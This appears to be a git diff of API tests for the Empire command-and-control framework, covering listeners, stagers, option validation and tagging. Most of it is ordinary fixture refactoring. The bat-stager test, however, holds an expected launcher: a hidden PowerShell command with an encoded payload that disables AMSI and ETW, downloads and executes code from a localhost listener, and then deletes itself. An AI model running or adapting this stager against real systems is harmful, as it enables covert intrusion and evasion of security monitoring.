f"/api/v2/listeners/{my_globals['listener_id']}", + f"/api/v2/listeners/{listener['id']}", headers=admin_auth_header, ) assert response.json()["enabled"] is True response = client.put( - f"/api/v2/listeners/{my_globals['listener_id']}", + f"/api/v2/listeners/{listener['id']}", headers=admin_auth_header, json=response.json(), ) @@ -141,9 +150,11 @@ def test_update_listener_blocks_while_enabled(client, admin_auth_header): assert response.json()["detail"] == "Listener must be disabled before modifying" -def test_update_listener_allows_and_disables_while_enabled(client, admin_auth_header): +def test_update_listener_allows_and_disables_while_enabled( + client, admin_auth_header, listener +): response = client.get( - f"/api/v2/listeners/{my_globals['listener_id']}", + f"/api/v2/listeners/{listener['id']}", headers=admin_auth_header, ) assert response.json()["enabled"] is True @@ -153,7 +164,7 @@ def test_update_listener_allows_and_disables_while_enabled(client, admin_auth_he new_port = str(int(listener["options"]["Port"]) + 1) listener["options"]["Port"] = new_port response = client.put( - f"/api/v2/listeners/{my_globals['listener_id']}", + f"/api/v2/listeners/{listener['id']}", headers=admin_auth_header, json=listener, ) @@ -162,9 +173,10 @@ def test_update_listener_allows_and_disables_while_enabled(client, admin_auth_he assert response.json()["options"]["Port"] == new_port -def test_update_listener_allows_while_disabled(client, admin_auth_header): +def test_update_listener_allows_while_disabled(client, admin_auth_header, listener): + original_name = listener["name"] response = client.get( - f"/api/v2/listeners/{my_globals['listener_id']}", headers=admin_auth_header + f"/api/v2/listeners/{listener['id']}", headers=admin_auth_header ) assert response.json()["enabled"] is False @@ -174,8 +186,10 @@ def test_update_listener_allows_while_disabled(client, admin_auth_header): # test that it ignore extra params listener["options"]["xyz"] = "xyz" + listener["name"] = "new-name" + response = client.put( - f"/api/v2/listeners/{my_globals['listener_id']}", + f"/api/v2/listeners/{listener['id']}", headers=admin_auth_header, json=listener, ) @@ -183,14 +197,24 @@ def test_update_listener_allows_while_disabled(client, admin_auth_header): assert response.json()["enabled"] is False assert response.json()["options"]["Port"] == new_port assert response.json()["options"].get("xyz") is None + assert response.json()["options"]["Name"] == "new-name" + assert response.json()["name"] == "new-name" + + listener["name"] = original_name + client.put( + f"/api/v2/listeners/{listener['id']}", + headers=admin_auth_header, + json=listener, + ) def test_update_listener_name_conflict(client, base_listener, admin_auth_header): + base_listener_copy = base_listener.copy() # Create a second listener. - base_listener["name"] = "new-listener-2" - base_listener["options"]["Port"] = "1299" + base_listener_copy["name"] = "new-listener-2" + base_listener_copy["options"]["Port"] = "1299" response = client.post( - "/api/v2/listeners/", headers=admin_auth_header, json=base_listener + "/api/v2/listeners/", headers=admin_auth_header, json=base_listener_copy ) assert response.status_code == 201 @@ -216,9 +240,11 @@ def test_update_listener_name_conflict(client, base_listener, admin_auth_header) ) -def test_update_listener_reverts_if_validation_fails(client, admin_auth_header): +def test_update_listener_reverts_if_validation_fails( + client, admin_auth_header, listener +): response = client.get( - f"/api/v2/listeners/{my_globals['listener_id']}", + f"/api/v2/listeners/{listener['id']}", headers=admin_auth_header, ) assert response.json()["enabled"] is False @@ -235,14 +261,16 @@ def test_update_listener_reverts_if_validation_fails(client, admin_auth_header): assert response.json()["detail"] == "required option missing: Port" response = client.get( - f"/api/v2/listeners/{my_globals['listener_id']}", headers=admin_auth_header + f"/api/v2/listeners/{listener['id']}", headers=admin_auth_header ) assert response.json()["options"]["BindIP"] == "0.0.0.0" -def test_update_listener_reverts_if_custom_validation_fails(client, admin_auth_header): +def test_update_listener_reverts_if_custom_validation_fails( + client, admin_auth_header, listener +): response = client.get( - f"/api/v2/listeners/{my_globals['listener_id']}", + f"/api/v2/listeners/{listener['id']}", headers=admin_auth_header, ) assert response.json()["enabled"] is False @@ -259,15 +287,17 @@ def test_update_listener_reverts_if_custom_validation_fails(client, admin_auth_h assert response.json()["detail"] == "[!] HTTPS selected but no CertPath specified." response = client.get( - f"/api/v2/listeners/ {my_globals['listener_id']}", + f"/api/v2/listeners/{listener['id']}", headers=admin_auth_header, ) assert response.json()["options"]["BindIP"] == "0.0.0.0" -def test_update_listener_allows_and_enables_while_disabled(client, admin_auth_header): +def test_update_listener_allows_and_enables_while_disabled( + client, admin_auth_header, listener +): response = client.get( - f"/api/v2/listeners/{my_globals['listener_id']}", + f"/api/v2/listeners/{listener['id']}", headers=admin_auth_header, ) assert response.json()["enabled"] is False @@ -277,7 +307,7 @@ def test_update_listener_allows_and_enables_while_disabled(client, admin_auth_he listener["enabled"] = True listener["options"]["Port"] = new_port response = client.put( - f"/api/v2/listeners/{my_globals['listener_id']}", + f"/api/v2/listeners/{listener['id']}", headers=admin_auth_header, json=listener, ) @@ -293,50 +323,45 @@ def test_get_listeners(client, admin_auth_header): assert len(response.json()["records"]) == 2 -def test_delete_listener_while_enabled(client, admin_auth_header): - response = client.get("/api/v2/listeners", headers=admin_auth_header) - assert response.status_code == 200 - assert len(response.json()["records"]) == 2 - - to_delete = list( - filter(lambda x: x["enabled"] is True, response.json()["records"]) - )[0] - assert to_delete["enabled"] is True +def test_delete_listener_while_enabled(client, admin_auth_header, base_listener): + to_delete = base_listener.copy() + to_delete["name"] = "to-delete" + to_delete["options"]["Port"] = "1299" + response = client.post( + "/api/v2/listeners/", headers=admin_auth_header, json=to_delete + ) + assert response.status_code == 201 + to_delete_id = response.json()["id"] response = client.delete( - f"/api/v2/listeners/{to_delete['id']}", headers=admin_auth_header + f"/api/v2/listeners/{to_delete_id}", headers=admin_auth_header ) assert response.status_code == 204 response = client.get( - "/api/v2/listeners", - headers=admin_auth_header, + f"/api/v2/listeners/{to_delete_id}", headers=admin_auth_header ) - assert response.status_code == 200 - assert len(response.json()["records"]) == 1 - assert response.json()["records"][0]["id"] != to_delete["id"] + assert response.status_code == 404 -def test_delete_listener_while_disabled(client, admin_auth_header): - response = client.get( - "/api/v2/listeners", - headers=admin_auth_header, - ) - assert response.status_code == 200 - assert len(response.json()["records"]) == 1 - to_delete = response.json()["records"][0] - assert to_delete["enabled"] is False +def test_delete_listener_while_disabled(client, admin_auth_header, base_listener): + to_delete = base_listener.copy() + to_delete["name"] = "to-delete" + to_delete["options"]["Port"] = "1298" + + response = client.post( + "/api/v2/listeners/", headers=admin_auth_header, json=to_delete + ) + assert response.status_code == 201 + to_delete_id = response.json()["id"] response = client.delete( - f"/api/v2/listeners/{to_delete['id']}", - headers=admin_auth_header, + f"/api/v2/listeners/{to_delete_id}", headers=admin_auth_header ) assert response.status_code == 204 response = client.get( - "/api/v2/listeners", - headers=admin_auth_header, + f"/api/v2/listeners/{to_delete_id}", headers=admin_auth_header ) - assert response.status_code == 200 - assert len(response.json()["records"]) == 0 + assert response.status_code == 404 diff --git a/empire/test/test_option_util.py b/empire/test/test_option_util.py index e7a7b594d..05264baeb 100644 --- a/empire/test/test_option_util.py +++ b/empire/test/test_option_util.py @@ -105,7 +105,7 @@ def test_validate_options_casts_string_to_int_success(): assert cleaned_options == {"Port": 123} -def test_validate_options_missing_optional_field_no_defauls(): +def test_validate_options_missing_optional_field_no_default(): instance_options = { "Command": { "Description": "Command to run", @@ -123,6 +123,42 @@ def test_validate_options_missing_optional_field_no_defauls(): assert cleaned_options == {"Command": ""} +def test_validate_options_missing_optional_field_with_default(): + instance_options = { + "Command": { + "Description": "Command to run", + "Required": False, + "Value": "Test", + "SuggestedValues": [], + "Strict": False, + } + } + + options = {} + + cleaned_options, err = validate_options(instance_options, options, None, None) + + assert cleaned_options == {"Command": "Test"} + + +def test_validate_options_missing_optional_field_with_default_and_strict(): + instance_options = { + "Command": { + "Description": "Command to run", + "Required": False, + "Value": "Test", + "SuggestedValues": ["Test"], + "Strict": True, + } + } + + options = {} + + cleaned_options, err = validate_options(instance_options, options, None, None) + + assert cleaned_options == {"Command": "Test"} + + def test_validate_options_with_file_not_found(db): instance_options = { "File": { diff --git a/empire/test/test_plugin_task_api.py b/empire/test/test_plugin_task_api.py index 5a512bfed..26d497c60 100644 --- a/empire/test/test_plugin_task_api.py +++ b/empire/test/test_plugin_task_api.py @@ -1,11 +1,6 @@ import pytest -@pytest.fixture(scope="module") -def plugin_name(): - return "basic_reporting" - - @pytest.fixture(scope="module", autouse=True) def plugin_task_1(main, db, models, plugin_name): db.add( diff --git a/empire/test/test_stager_api.py b/empire/test/test_stager_api.py index 20adf9da4..df93f1a8c 100644 --- a/empire/test/test_stager_api.py +++ b/empire/test/test_stager_api.py @@ -1,19 +1,17 @@ -import pytest - -from empire.test.conftest import base_listener_non_fixture +from textwrap import dedent -my_globals = {"stager_id_1": 0, "stager_id_2": 0} +import pytest @pytest.fixture(scope="module", autouse=True) -def create_listener(client, admin_auth_header): - # not using fixture because scope issues - response = client.post( - "/api/v2/listeners/", - headers=admin_auth_header, - json=base_listener_non_fixture(), - ) - return response.json() +def cleanup_stagers(session_local, models): + yield + + with session_local.begin() as db: + db.query(models.stager_download_assc).delete() + db.query(models.upload_download_assc).delete() + db.query(models.Stager).delete() + db.query(models.Download).delete() def test_get_stager_templates(client, admin_auth_header): @@ -93,7 +91,7 @@ def test_create_stager_one_liner(client, base_stager, admin_auth_header): response.json().get("downloads", [])[0]["link"].startswith("/api/v2/downloads") ) - my_globals["stager_id_1"] = response.json()["id"] + client.delete(f"/api/v2/stagers/{response.json()['id']}", headers=admin_auth_header) def test_create_obfuscated_stager_one_liner(client, base_stager, admin_auth_header): @@ -113,7 +111,7 @@ def test_create_obfuscated_stager_one_liner(client, base_stager, admin_auth_head response.json().get("downloads", [])[0]["link"].startswith("/api/v2/downloads") ) - my_globals["stager_id_1"] = response.json()["id"] + client.delete(f"/api/v2/stagers/{response.json()['id']}", headers=admin_auth_header) def test_create_stager_file(client, base_stager_2, admin_auth_header): @@ -130,10 +128,16 @@ def test_create_stager_file(client, base_stager_2, admin_auth_header): response.json().get("downloads", [])[0]["link"].startswith("/api/v2/downloads") ) - my_globals["stager_id_2"] = response.json()["id"] + client.delete(f"/api/v2/stagers/{response.json()['id']}", headers=admin_auth_header) def test_create_stager_name_conflict(client, base_stager, admin_auth_header): + response = client.post( + "/api/v2/stagers/?save=true", headers=admin_auth_header, json=base_stager + ) + assert response.status_code == 201 + stager_id = response.json()["id"] + response = client.post( "/api/v2/stagers/?save=true", headers=admin_auth_header, json=base_stager ) @@ -143,6 +147,8 @@ def test_create_stager_name_conflict(client, base_stager, admin_auth_header): == f'Stager with name {base_stager["name"]} already exists.' ) + client.delete(f"/api/v2/stagers/{stager_id}", headers=admin_auth_header) + def test_create_stager_save_false(client, base_stager, admin_auth_header): response = client.post( @@ -156,13 +162,22 @@ def test_create_stager_save_false(client, base_stager, admin_auth_header): ) -def test_get_stager(client, admin_auth_header): +def test_get_stager(client, admin_auth_header, base_stager): + response = client.post( + "/api/v2/stagers/?save=true", headers=admin_auth_header, json=base_stager + ) + stager_id = response.json()["id"] + + assert response.status_code == 201 + response = client.get( - f"/api/v2/stagers/{my_globals['stager_id_1']}", + f"/api/v2/stagers/{stager_id}", headers=admin_auth_header, ) assert response.status_code == 200 - assert response.json()["id"] == my_globals["stager_id_1"] + assert response.json()["id"] == stager_id + + client.delete(f"/api/v2/stagers/{stager_id}", headers=admin_auth_header) def test_get_stager_not_found(client, admin_auth_header): @@ -182,9 +197,17 @@ def test_update_stager_not_found(client, base_stager, admin_auth_header): assert response.json()["detail"] == "Stager not found for id 9999" -def test_download_stager_one_liner(client, admin_auth_header): +def test_download_stager_one_liner(client, admin_auth_header, base_stager): + response = client.post( + "/api/v2/stagers/?save=true", + headers=admin_auth_header, + json=base_stager, + ) + assert response.status_code == 201 + stager_id = response.json()["id"] + response = client.get( - f"/api/v2/stagers/{my_globals['stager_id_1']}", + f"/api/v2/stagers/{stager_id}", headers=admin_auth_header, ) response = client.get( @@ -195,10 +218,20 @@ def test_download_stager_one_liner(client, admin_auth_header): assert response.headers.get("content-type").split(";")[0] == "text/plain" assert response.text.startswith("powershell -noP -sta") + client.delete(f"/api/v2/stagers/{stager_id}", headers=admin_auth_header) + + +def test_download_stager_file(client, admin_auth_header, base_stager_2): + response = client.post( + "/api/v2/stagers/?save=true", + headers=admin_auth_header, + json=base_stager_2, + ) + assert response.status_code == 201 + stager_id = response.json()["id"] -def test_download_stager_file(client, admin_auth_header): response = client.get( - f"/api/v2/stagers/{my_globals['stager_id_2']}", + f"/api/v2/stagers/{stager_id}", headers=admin_auth_header, ) response = client.get( @@ -210,12 +243,24 @@ def test_download_stager_file(client, admin_auth_header): "application/x-msdownload", "application/x-msdos-program", ] - assert type(response.content) == bytes + assert isinstance(response.content, bytes) + + client.delete(f"/api/v2/stagers/{stager_id}", headers=admin_auth_header) -def test_update_stager_allows_edits_and_generates_new_file(client, admin_auth_header): +def test_update_stager_allows_edits_and_generates_new_file( + client, admin_auth_header, base_stager +): + response = client.post( + "/api/v2/stagers/?save=true", + headers=admin_auth_header, + json=base_stager, + ) + assert response.status_code == 201 + stager_id = response.json()["id"] + response = client.get( - f"/api/v2/stagers/{my_globals['stager_id_1']}", + f"/api/v2/stagers/{stager_id}", headers=admin_auth_header, ) assert response.status_code == 200 @@ -226,7 +271,7 @@ def test_update_stager_allows_edits_and_generates_new_file(client, admin_auth_he stager["options"]["Base64"] = "False" response = client.put( - f"/api/v2/stagers/{my_globals['stager_id_1']}", + f"/api/v2/stagers/{stager_id}", headers=admin_auth_header, json=stager, ) @@ -234,16 +279,36 @@ def test_update_stager_allows_edits_and_generates_new_file(client, admin_auth_he assert response.json()["options"]["Base64"] == "False" assert response.json()["name"] == original_name + "_updated!" + client.delete(f"/api/v2/stagers/{stager_id}", headers=admin_auth_header) + + +def test_update_stager_name_conflict(client, admin_auth_header, base_stager): + response = client.post( + "/api/v2/stagers/?save=true", + headers=admin_auth_header, + json=base_stager, + ) + assert response.status_code == 201 + stager_id = response.json()["id"] -def test_update_stager_name_conflict(client, admin_auth_header): response = client.get( - f"/api/v2/stagers/{my_globals['stager_id_1']}", + f"/api/v2/stagers/{stager_id}", headers=admin_auth_header, ) assert response.status_code == 200 + base_stager_2 = base_stager.copy() + base_stager_2["name"] = "test_stager_2" + response2 = client.post( + "/api/v2/stagers/?save=true", + headers=admin_auth_header, + json=base_stager_2, + ) + assert response2.status_code == 201 + stager_id_2 = response2.json()["id"] + response2 = client.get( - f"/api/v2/stagers/{my_globals['stager_id_2']}", + f"/api/v2/stagers/{stager_id_2}", headers=admin_auth_header, ) assert response.status_code == 200 @@ -252,7 +317,7 @@ def test_update_stager_name_conflict(client, admin_auth_header): stager_1["name"] = stager_2["name"] response = client.put( - f"/api/v2/stagers/{my_globals['stager_id_1']}", + f"/api/v2/stagers/{stager_id}", headers=admin_auth_header, json=stager_1, ) @@ -263,44 +328,95 @@ def test_update_stager_name_conflict(client, admin_auth_header): == f"Stager with name {stager_2['name']} already exists." ) + client.delete(f"/api/v2/stagers/{stager_id}", headers=admin_auth_header) + client.delete(f"/api/v2/stagers/{stager_id_2}", headers=admin_auth_header) -def test_get_stagers(client, admin_auth_header): - response = client.get( - "/api/v2/stagers", + +def test_get_stagers(client, admin_auth_header, base_stager): + response = client.post( + "/api/v2/stagers/?save=true", headers=admin_auth_header, + json=base_stager, ) + assert response.status_code == 201 + stager_id = response.json()["id"] - assert response.status_code == 200 - assert len(response.json()["records"]) == 3 - + base_stager_2 = base_stager.copy() + base_stager_2["name"] = "test_stager_2" + response = client.post( + "/api/v2/stagers/?save=true", + headers=admin_auth_header, + json=base_stager_2, + ) + assert response.status_code == 201 + stager_id_2 = response.json()["id"] -def test_delete_stager(client, admin_auth_header): response = client.get( "/api/v2/stagers", headers=admin_auth_header, ) + assert response.status_code == 200 - assert len(response.json()["records"]) == 3 + assert len(response.json()["records"]) == 2 + assert response.json()["records"][0]["id"] == stager_id + assert response.json()["records"][1]["id"] == stager_id_2 - to_delete = response.json()["records"][0] - response = client.delete( - f"/api/v2/stagers/{to_delete['id']}", + client.delete(f"/api/v2/stagers/{stager_id}", headers=admin_auth_header) + client.delete(f"/api/v2/stagers/{stager_id_2}", headers=admin_auth_header) + + +def test_delete_stager(client, admin_auth_header, base_stager): + response = client.post( + "/api/v2/stagers/?save=true", headers=admin_auth_header, + json=base_stager, ) + assert response.status_code == 201 + stager_id = response.json()["id"] + + response = client.delete(f"/api/v2/stagers/{stager_id}", headers=admin_auth_header) assert response.status_code == 204 + +def test_pyinstaller_stager_creation(client, pyinstaller_stager, admin_auth_header): + response = client.post( + "/api/v2/stagers/?save=true", headers=admin_auth_header, json=pyinstaller_stager + ) + + # Check if the stager is successfully created + assert response.status_code == 201 + assert response.json()["id"] != 0 + + stager_id = response.json()["id"] + response = client.get( - "/api/v2/stagers", + f"/api/v2/stagers/{stager_id}", headers=admin_auth_header, ) + + # Check if we can successfully retrieve the stager assert response.status_code == 200 - assert len(response.json()["records"]) == 2 - assert response.json()["records"][0]["id"] != to_delete["id"] + assert response.json()["id"] == stager_id + response = client.get( + response.json()["downloads"][0]["link"], + headers=admin_auth_header, + ) -def test_pyinstaller_stager_creation(client, pyinstaller_stager, admin_auth_header): + # Check if the file is downloaded successfully + assert response.status_code == 200 + assert response.headers.get("content-type").split(";")[0] == "text/plain" + assert isinstance(response.content, bytes) + + # Check if the downloaded file is not empty + assert len(response.content) > 0 + + client.delete(f"/api/v2/stagers/{stager_id}", headers=admin_auth_header) + + +def test_bat_stager_creation(client, bat_stager, admin_auth_header): response = client.post( - "/api/v2/stagers/?save=true", headers=admin_auth_header, json=pyinstaller_stager + "/api/v2/stagers/?save=true", headers=admin_auth_header, json=bat_stager ) # Check if the stager is successfully created @@ -325,8 +441,25 @@ def test_pyinstaller_stager_creation(client, pyinstaller_stager, admin_auth_head # Check if the file is downloaded successfully assert response.status_code == 200 - assert response.headers.get("content-type").split(";")[0] == "text/plain" - assert type(response.content) == bytes + assert ( + response.headers.get("content-type").split(";")[0] + == "application/x-msdos-program" + ) + assert isinstance(response.content, bytes) # Check if the downloaded file is not empty assert len(response.content) > 0 + assert response.content.decode("utf-8") == _expected_http_bat_launcher() + + client.delete(f"/api/v2/stagers/{stager_id}", headers=admin_auth_header) + + +def _expected_http_bat_launcher(): + return dedent( + """ + @echo off + start /B powershell.exe -nop -ep bypass -w 1 -enc WwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAEUAdgBlAG4AdABpAG4AZwAuAEUAdgBlAG4AdABQAHIAbwB2AGkAZABlAHIAXQAuAEcAZQB0AEYAaQBlAGwAZAAoACcAbQBfAGUAbgBhAGIAbABlAGQAJwAsACcATgBvAG4AUAB1AGIAbABpAGMALABJAG4AcwB0AGEAbgBjAGUAJwApAC4AUwBlAHQAVgBhAGwAdQBlACgAWwBSAGUAZgBdAC4AQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAFQAcgBhAGMAaQBuAGcALgBQAFMARQB0AHcATABvAGcAUAByAG8AdgBpAGQAZQByACcAKQAuAEcAZQB0AEYAaQBlAGwAZAAoACcAZQB0AHcAUAByAG8AdgBpAGQAZQByACcALAAnAE4AbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4ARwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACkALAAwACkAOwAkAFIAZQBmAD0AWwBSAGUAZgBdAC4AQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACcAKQA7ACQAUgBlAGYALgBHAGUAdABGAGkAZQBsAGQAKAAnAGEAbQBzAGkASQBuAGkAdABGAGEAaQBsAGUAZAAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMAZQB0AHYAYQBsAHUAZQAoACQATgB1AGwAbAAsACQAdAByAHUAZQApADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQATgBlAHQAdwBvAHIAawBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAOwBpAHcAcgAoACcAaAB0AHQAcAA6AC8ALwBsAG8AYwBhAGwAaABvAHMAdAA6ADEAMwAzADYALwBkAG8AdwBuAGwAbwBhAGQALwBwAG8AdwBlAHIAcwBoAGUAbABsAC8AJwApAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAfABpAGUAeAA= + timeout /t 1 > nul + del "%~f0" + """ + ).strip() diff --git a/empire/test/test_tags_api.py b/empire/test/test_tags_api.py new file mode 100644 index 000000000..60e087027 --- /dev/null +++ b/empire/test/test_tags_api.py @@ -0,0 +1,594 @@ +import pytest + +from empire.server.core.db.models import PluginTaskStatus + + +def _test_add_tag(client, admin_auth_header, path, taggable_id): + resp = client.post( + f"{path}/{taggable_id}/tags", + headers=admin_auth_header, + json={"name": "test:tag", "value": "test:value"}, + ) + assert resp.status_code == 422 + assert resp.json() == { + "detail": [ + { + "ctx": {"pattern": "^[^:]+$"}, + "loc": ["body", "name"], + "msg": 'string does not match regex "^[^:]+$"', + "type": "value_error.str.regex", + }, + { + "ctx": {"pattern": "^[^:]+$"}, + "loc": ["body", "value"], + "msg": 'string does not match regex "^[^:]+$"', + "type": "value_error.str.regex", + }, + ] + } + + resp = client.post( + f"{path}/{taggable_id}/tags", + headers=admin_auth_header, + json={"name": "test_tag", "value": "test_value"}, + ) + + expected_tag_1 = { + "name": "test_tag", + "value": "test_value", + "color": None, + "label": "test_tag:test_value", + } + + assert resp.status_code == 201 + actual_tag_1 = resp.json() + actual_tag_1.pop("id") + assert actual_tag_1 == expected_tag_1 + + resp = client.get(f"{path}/{taggable_id}", headers=admin_auth_header) + assert resp.status_code == 200 + + actual_tags = resp.json()["tags"] + assert len(actual_tags) == 1 + + actual_tags[0].pop("id") + assert actual_tags == [expected_tag_1] + + resp = client.post( + f"{path}/{taggable_id}/tags", + headers=admin_auth_header, + json={ + "name": "test_tag", + "value": "test_value", + "color": "#0000FF", + }, + ) + + expected_tag_2 = { + "name": "test_tag", + "value": "test_value", + "color": "#0000FF", + "label": "test_tag:test_value", + } + + assert resp.status_code == 201 + actual_tag_2 = resp.json() + actual_tag_2.pop("id") + assert actual_tag_2 == expected_tag_2 + + resp = client.get(f"{path}/{taggable_id}", headers=admin_auth_header) + assert resp.status_code == 200 + + actual_tags = resp.json()["tags"] + assert len(actual_tags) == 2 + + for tag in actual_tags: + tag.pop("id") + + assert actual_tags == [expected_tag_1, expected_tag_2] + + for tag in resp.json()["tags"]: + resp = client.delete( + f"{path}/{taggable_id}/tags/{tag['id']}", + headers=admin_auth_header, + ) + assert resp.status_code == 204 + + +def _test_update_tag(client, admin_auth_header, path, taggable_id): + resp = client.post( + f"{path}/{taggable_id}/tags", + headers=admin_auth_header, + json={"name": "test_tag", "value": "test_value"}, + ) + + assert resp.status_code == 201 + + expected_tag = { + "name": "test_tag_updated", + "value": "test_value_updated", + "color": "#0000FF", + "label": "test_tag_updated:test_value_updated", + } + + resp_bad = client.put( + f"{path}/{taggable_id}/tags/{resp.json()['id']}", + headers=admin_auth_header, + json={"name": "test:tag", "value": "test:value"}, + ) + assert resp_bad.status_code == 422 + assert resp_bad.json() == { + "detail": [ + { + "ctx": {"pattern": "^[^:]+$"}, + "loc": ["body", "name"], + "msg": 'string does not match regex "^[^:]+$"', + "type": "value_error.str.regex", + }, + { + "ctx": {"pattern": "^[^:]+$"}, + "loc": ["body", "value"], + "msg": 'string does not match regex "^[^:]+$"', + "type": "value_error.str.regex", + }, + ] + } + + resp = client.put( + f"{path}/{taggable_id}/tags/{resp.json()['id']}", + headers=admin_auth_header, + json=expected_tag, + ) + + assert resp.status_code == 200 + + actual_tag = resp.json() + actual_tag.pop("id") + assert actual_tag == expected_tag + + resp = client.delete( + f"{path}/{taggable_id}/tags/{resp.json()['id']}", + headers=admin_auth_header, + ) + assert resp.status_code == 204 + + +def _test_delete_tag(client, admin_auth_header, path, taggable_id): + resp = client.post( + f"{path}/{taggable_id}/tags", + headers=admin_auth_header, + json={"name": "test_tag", "value": "test_value"}, + ) + + assert resp.status_code == 201 + + resp = client.delete( + f"{path}/{taggable_id}/tags/{resp.json()['id']}", + headers=admin_auth_header, + ) + assert resp.status_code == 204 + + resp = client.get(f"{path}/{taggable_id}", headers=admin_auth_header) + assert resp.status_code == 200 + assert resp.json()["tags"] == [] + + +def test_listener_add_tag(client, admin_auth_header, listener): + _test_add_tag(client, admin_auth_header, "/api/v2/listeners", listener["id"]) + + +def test_agent_add_tag(client, admin_auth_header, agent): + _test_add_tag(client, admin_auth_header, "/api/v2/agents", agent) + + +def test_agent_task_add_tag(client, admin_auth_header, agent_task): + _test_add_tag( + client, + admin_auth_header, + f"/api/v2/agents/{agent_task['agent_id']}/tasks", + agent_task["id"], + ) + + +def test_plugin_task_add_tag(client, admin_auth_header, plugin_task): + _test_add_tag( + client, + admin_auth_header, + "/api/v2/plugins/basic_reporting/tasks", + plugin_task, + ) + + +def test_credential_add_tag(client, admin_auth_header, credential): + _test_add_tag(client, admin_auth_header, "/api/v2/credentials", credential) + + +def test_download_add_tag(client, admin_auth_header, download): + _test_add_tag(client, admin_auth_header, "/api/v2/downloads", download) + + +def test_listener_update_tag(client, admin_auth_header, listener): + _test_update_tag(client, admin_auth_header, "/api/v2/listeners", listener["id"]) + + +def test_agent_update_tag(client, admin_auth_header, agent): + _test_update_tag(client, admin_auth_header, "/api/v2/agents", agent) + + +def test_agent_task_update_tag(client, admin_auth_header, agent_task): + _test_update_tag( + client, + admin_auth_header, + f"/api/v2/agents/{agent_task['agent_id']}/tasks", + agent_task["id"], + ) + + +def test_plugin_task_update_tag(client, admin_auth_header, plugin_task): + _test_update_tag( + client, + admin_auth_header, + "/api/v2/plugins/basic_reporting/tasks", + plugin_task, + ) + + +def test_credential_update_tag(client, admin_auth_header, credential): + _test_update_tag(client, admin_auth_header, "/api/v2/credentials", credential) + + +def test_download_update_tag(client, admin_auth_header, download): + _test_update_tag(client, admin_auth_header, "/api/v2/downloads", download) + + +def test_listener_delete_tag(client, admin_auth_header, listener): + _test_delete_tag(client, admin_auth_header, "/api/v2/listeners", listener["id"]) + + +def test_agent_delete_tag(client, admin_auth_header, agent): + _test_delete_tag(client, admin_auth_header, "/api/v2/agents", agent) + + +def test_agent_task_delete_tag(client, admin_auth_header, agent_task): + _test_delete_tag( + client, + admin_auth_header, + f"/api/v2/agents/{agent_task['agent_id']}/tasks", + agent_task["id"], + ) + + +def test_plugin_task_delete_tag(client, admin_auth_header, plugin_task): + _test_delete_tag( + client, + admin_auth_header, + "/api/v2/plugins/basic_reporting/tasks", + plugin_task, + ) + + +def test_credential_delete_tag(client, admin_auth_header, credential): + _test_delete_tag(client, admin_auth_header, "/api/v2/credentials", credential) + + +def test_download_delete_tag(client, admin_auth_header, download): + _test_delete_tag(client, admin_auth_header, "/api/v2/downloads", download) + + +@pytest.fixture(scope="function") +def _create_tags( + client, + admin_auth_header, + listener, + agent, + agent_task, + plugin_task, + credential, + download, +): + paths = [ + "/api/v2/listeners", + "/api/v2/agents", + f"/api/v2/agents/{agent_task['agent_id']}/tasks", + "/api/v2/plugins/basic_reporting/tasks", + "/api/v2/credentials", + "/api/v2/downloads", + ] + cleanup = [] + expected_tags = [] + for taggable in zip( + [listener, agent, agent_task, plugin_task, credential, download], + paths, + ): + if isinstance(taggable[0], dict): + taggable_id = taggable[0]["id"] + else: + taggable_id = taggable[0] + resp = client.post( + f"{taggable[1]}/{taggable_id}/tags", + headers=admin_auth_header, + json={"name": f"test_tag_{taggable[1]}", "value": "test_value"}, + ) + assert resp.status_code == 201 + + res = resp.json() + cleanup.append(f"{taggable[1]}/{taggable_id}/tags/{res['id']}") + res.pop("id") + expected_tags.append(res) + + yield expected_tags + + for tag in cleanup: + resp = client.delete(tag, headers=admin_auth_header) + assert resp.status_code == 204 + + +def test_get_tags(client, admin_auth_header, _create_tags): + expected_tags = _create_tags + resp = client.get("/api/v2/tags?order_by=name", headers=admin_auth_header) + assert resp.status_code == 200 + + actual_tags = resp.json()["records"] + for tag in actual_tags: + tag.pop("id") + + expected_tags = sorted(expected_tags, key=lambda k: k["name"]) + assert actual_tags == expected_tags + + +@pytest.fixture(scope="function") +def _create_agent_tasks_with_tags( + client, admin_auth_header, agent, session_local, models +): + with session_local.begin() as db: + db.query(models.AgentTask).delete() + + agent_id = agent + agent_tasks = [] + tags = [] + for i in range(3): + resp = client.post( + f"/api/v2/agents/{agent_id}/tasks/shell", + headers=admin_auth_header, + json={"command": f"whoami_{i}"}, + ) + assert resp.status_code == 201 + agent_tasks.append(resp.json()) + + for i, agent_task in enumerate(agent_tasks): + resp = client.post( + f"/api/v2/agents/{agent_id}/tasks/{agent_task['id']}/tags", + headers=admin_auth_header, + json={"name": f"test_tag_{i}", "value": f"test_value_{i}"}, + ) + assert resp.status_code == 201 + tags.append((agent_task, resp.json())) + + yield agent_tasks + + for task, tag in tags: + resp = client.delete( + f"/api/v2/agents/{agent_id}/tasks/{task['id']}/tags/{tag['id']}", + headers=admin_auth_header, + ) + assert resp.status_code == 204 + + for agent_task in agent_tasks: + resp = client.delete( + f"/api/v2/agents/{agent_id}/tasks/{agent_task['id']}", + headers=admin_auth_header, + ) + assert resp.status_code == 204 + + +def test_get_agent_tasks_tag_filter( + 